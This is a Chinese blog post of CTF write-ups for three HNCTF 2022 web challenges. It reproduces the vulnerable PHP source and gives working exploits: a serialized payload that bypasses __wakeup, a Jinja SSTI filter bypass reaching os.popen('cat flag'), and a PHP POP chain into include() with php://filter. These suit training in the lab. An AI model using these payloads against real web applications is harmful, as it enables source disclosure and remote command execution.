[HNCTF 2022 WEEK2]

easy_unser

 <?php 
    include 'f14g.php';
    error_reporting(0);

    highlight_file(__FILE__);

    class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";
        
    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    }
}

    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
        function __sleep(){
            $About_me = "When the object is serialized,I will be called";
            echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
        }
        function __toString(){
            $About_me = "When the object is used as a string,I will be called";
            return $this->CORE;
        }
    }
    
    $obj = new unserializeorder();
    echo $obj;
    $obj = serialize($obj);
    

    if (isset($_GET['ywant']))
    {
        $ywant = @unserialize(@$_GET['ywant']);
        echo $ywant;
    }
?>
人类最大的敌人,就是无序. Yahi param vaastavikta hai!
We Come To HNCTF,Enjoy the ser14l1zti0n 

首先看代码可知,flag在f14g.php中,所以我们只要找到能够利用的点就可以了。

往上看可以看到body类中highlight_file()可以进行利用,所以说我们需要让want为我们想要的f14g.php就可以了。

 function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    } 

但是这边过滤的有点严,若是want=f14g.php,或者说是is_file()中的文件存在的话就会返回"So,let me see if you can get what you want\n";

所以我们不能直接让want=f14g.php,这里可以用php://filter伪协议来回显f14g.php文件。

构造如下:

<?php 

    class body{
    private $want="php://filter/resource=f14g.php";
   
}

    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
    }
$a=new body();

echo urlencode(serialize($a));
?>

payload:?ywant=O%3A4%3A"body"%3A2%3A{s%3A10%3A"%00body%00want"%3Bs%3A30%3A"php%3A%2F%2Ffilter%2Fresource%3Df14g.php"%3B}

这里注意还需要绕过__wakeup魔术方法,所以%3A %3A中间原本为1,现在为2。

ssssti

这道题也没啥好写的,这道题过滤了:" , ' , '_', '__', 'os', 'get_flashed_messages', 'current_app', 'args', 'url_for'。

payload:?name={{(lipsum|attr(request.cookies.a))[request.cookies.a1].popen(request.cookies.a2).read()}}
cooklie: a=__globals__;a1=os;a2=cat flag

pop子和pipi美

打开后发现这个东西,然后我们传入:?pop_EP=ep683045

获得源码:

<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
    private $No_893;
    public function POP_TEAM_EPIC(){
        $WEBSITE  = "MANGA LIFE WIN";
    }
    public function __invoke(){
        $this->append($this->No_893);
    }
    public function append($anti_takeshobo){
        include($anti_takeshobo);
    }
}

class Pipimi{
    
    public $pipi;
    public function PIPIPMI(){
        $h = "超喜欢POP子ww,你也一样对吧(举刀)";
    }
    public function __construct(){
        echo "Pipi美永远不会生气ww";
        $this->pipi = array();
    }

    public function __get($corepop){
        $function = $this->p;
        return $function();
    }
}
class Goodsisters{

    public function PopukoPipimi(){
        $is = "Good sisters";
    }

    public $kiminonawa,$str;

    public function __construct($file='index.php'){
        $this->kiminonawa = $file;
        echo 'Welcome to HNCTF2022 ,';
        echo 'This is '.$this->kiminonawa."<br>";
    }
    public function __toString(){
        return $this->str->kiminonawa;
    }

    public function __wakeup(){
        if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
            echo "仲良ピース!";
            $this->kiminonawa = "index.php";
        }
    }
}

if(isset($_GET['pop'])) @unserialize($_GET['pop']);  

else{
    $a=new Goodsisters;
    if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
        highlight_file(__FILE__);
        echo '欸嘿,你也喜欢pop子~对吧ww';
    }
}

我们看源码,可以看到这里有__wakeup魔术方法,所以我们pop链的开头就找到了。

public function __wakeup(){
        if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
            echo "仲良ピース!";
            $this->kiminonawa = "index.php";
        }
    }

然后我们找能利用的点来获取flag

class Popuko {
    private $No_893;
    public function POP_TEAM_EPIC(){
        $WEBSITE  = "MANGA LIFE WIN";
    }
    public function __invoke(){
        $this->append($this->No_893);
    }
    public function append($anti_takeshobo){
        include($anti_takeshobo);
    }

根据提示看到这里有文件包含的利用点,所以我们可以通过文件包含来读取f14g.php。

思路如下:先调用Goodsisters类中的__wakeup,然后在__wakeup方法里preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i"$this->kiminonawa")中$this->kiminonawa会把kiminonawa当作字符串来使用,所以这样的话就会调用Goodsisters类中的__toString方法,然后再让Goodsisters类中的str等于new  Pipimi这样的话会调用Pipimi类中的__get方法然后让__get方法中的等于new  Popuko这样的话就会调用Popuko类中的__invoke方法,从而达到文件包含的目的。

这里的话为什么在Popuko中没有定义p这个属性,但是仍然可以赋值呢。问了一下chatgpt,答案如下:

在 PHP 中,一个类的成员属性可以在对象中动态添加和修改,无论这个属性是否被定义过。如果尝试给一个没有被定义的属性赋值,PHP 会自动将这个属性添加到类中,并赋予它所需的值。

在这个代码示例中,虽然在类中没有直接定义 $p 属性,但当这个属性第一次被赋值时,PHP 会自动将这个属性添加到对象中。这个过程也称为属性动态定义(Dynamic Property Definition)。

在该代码示例中,$this->p 也许是在对象反序列化过程中被创建的,然后在反序列化后的对象的某些方法中被赋值。此时 $this->p 属性并不属于类定义的一部分,但由于 PHP 的属性动态定义特性,这样的操作是合法的,并且可以在运行时动态添加成员属性。

大概意思就是PHP会自动将这个属性添加到类中,所以我们可以进行赋值。

构造代码如下:

<?php
class Popuko {
    private $No_893='php://filter/convert.base64-encode/resource=f14g.php';
}

class Pipimi{
    public $pipi;
}
class Goodsisters{
    public $kiminonawa;
    public $str;
}

$a=new Goodsisters;
$a->kiminonawa=new Goodsisters;
$a->kiminonawa->str=new Pipimi;
$a->kiminonawa->str->p=new Popuko;

echo urlencode(serialize($a));
?>

 

posted @ 2023-05-05 22:00  kode  阅读(862)  评论(0)    收藏  举报